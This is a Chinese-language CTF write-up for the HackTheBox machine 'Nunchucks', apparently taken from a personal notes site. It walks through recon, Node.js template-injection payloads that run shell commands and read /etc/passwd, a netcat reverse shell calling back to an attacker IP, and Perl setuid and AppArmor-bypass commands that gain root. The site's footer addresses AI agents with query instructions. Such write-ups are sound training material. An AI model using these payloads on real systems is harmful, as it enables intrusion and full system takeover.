> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).

# Nunchucks HackTheBox 解题报告

{% hint style="warning" %}
**技能：**

* NodeJS SSTI（服务器端模板注入）
* AppArmor 配置文件绕过（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/648ad0c88a8771536a4f3af7b186ecb49ebc01f4" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/9f55cc0cd60e061beb7fd5bb54466d7d4a1a80db" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```

<figure><img src="/files/0ced3bf03ccf6adb5e8a47968a5e13c182bd9e12" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：** 使用 extractport 函数以合成方式显示开放端口并将其复制到剪贴板。

<figure><img src="/files/b77a155487da9d735f13a630bc6c7cd5a8b754da" alt=""><figcaption></figcaption></figure>

**使用 Nmap 扫描端口版本：** 使用 Nmap 扫描端口版本并将信息提取到“targeted”文件中：

```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```

<figure><img src="/files/8f0d8bc88ee320e939968d114132efd39f26e1ef" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/53a4bed370a8a7ab650907281a9d8cb3769c1194" alt="" width="563"><figcaption></figcaption></figure>

### 端口 443 - HTTPS

<figure><img src="/files/d46016136ebb330258d87dfe7e77efbc15872e17" alt=""><figcaption></figcaption></figure>

我们找到了一个登录面板，但没有已知凭据。

<figure><img src="/files/d8790aef66631d52d13299bcf012d29a4928ff3e" alt="" width="563"><figcaption></figcaption></figure>

### VHost 模糊测试 - Gobuster

我们进行 **模糊测试** 对子域名进行以识别可能隐藏的服务：

```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```

<figure><img src="/files/99cd70bb28ed65ac145362da3c0e42a8f07278a2" alt=""><figcaption></figcaption></figure>

我们找到了子域 **store.nunchucks.htb**.

<figure><img src="/files/dc1a676c00e50eb3a8122ee1b0ebed74aa88488b" alt=""><figcaption></figcaption></figure>

## SSTI 漏洞（Node.js）

我们注意到有一个功能允许你输入电子邮件订阅新闻通讯。服务器响应直接显示了我们的输入，这表明可能存在一个 **服务器端模板注入（SSTI）**.

<figure><img src="/files/f77cfba538fb2c1cc84f3b9942b3edce849bf88b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ee1b6005e20cbf7876e011bfaba7f52dd86df393" alt=""><figcaption></figcaption></figure>

#### 漏洞测试

我们用 **Burp Suite** 并测试一个经典的 SSTI：

<figure><img src="/files/96da177b49fe8f972ff0bc093e252bb3326ab9b5" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}
```

如果响应显示 `81`，则应用程序存在漏洞，这里就是这种情况。

<figure><img src="/files/8ea2f394bdf3a36d4f94ff1f21f0e489038f8720" alt=""><figcaption></figcaption></figure>

### 读 `/etc/passwd`

我们使用以下载荷来显示……的内容 `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```

{% endcode %}

<figure><img src="/files/ad14fc3ab8eb23f7bdd4214e8fe9a67e76df0b85" alt=""><figcaption></figcaption></figure>

#### 当前用户的获取

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```

{% endcode %}

我们得到 `david`.

<figure><img src="/files/7d8fab081acc90a62b30ae95445281f435101cf9" alt=""><figcaption></figcaption></figure>

### 通过 SSTI 获取反向 Shell（Node.js）

开始在端口上监听 **4444**:

```bash
nc -nlvp 4444
```

发送反向 shell 载荷：

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```

{% endcode %}

访问目标机器

<figure><img src="/files/a98bb227915e2b04dcab94aa9418f7121658e2fd" alt=""><figcaption></figcaption></figure>

### user.txt 旗标

<figure><img src="/files/68259a6d2e44f25ead55bba574888319053f09ee" alt="" width="517"><figcaption></figcaption></figure>

#### 终端稳定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升S

### 利用 **Capabilities** 在 Perl 上

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#capabilities>" %}

我们列出 **能力** 可用的：

```bash
getcap -r / 2>/dev/null
```

我们注意到 `perl` 具有特殊权限。

<figure><img src="/files/92b717dfd2c2c190be4424926566cf344c139d67" alt=""><figcaption></figcaption></figure>

**以 root 身份执行命令**

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```

我们得到 **root**.

<figure><img src="/files/9aef23db4e6930d32c0aef0e29bdbdb6dfd179cc" alt=""><figcaption></figcaption></figure>

### AppArmor 绕过

```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```

<figure><img src="/files/ca7e305d2ceaf0145d5e56dee94d1fe35ee8b893" alt=""><figcaption></figcaption></figure>

该 `/usr/bin/perl` 二进制文件受到 **AppArmor**

<figure><img src="/files/af1bca76f2713a4762eef9cca5ed439ae064b4a3" alt=""><figcaption></figcaption></figure>

利用已知的 [AppArmor 漏洞](https://bugs.launchpad.net/apparmor/+bug/1911431) 通过创建脚本来绕过限制：

```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```

<figure><img src="/files/10d5c55974d3aa55200d2f8ec409ca4e2d5807f5" alt=""><figcaption></figcaption></figure>

### root.txt 的 flag :)

<figure><img src="/files/0ef35835b238ca38d06d60193e4aa54f52c97174" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b2f5f53e54f568c92f88369a1d84c15d7cce3207" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
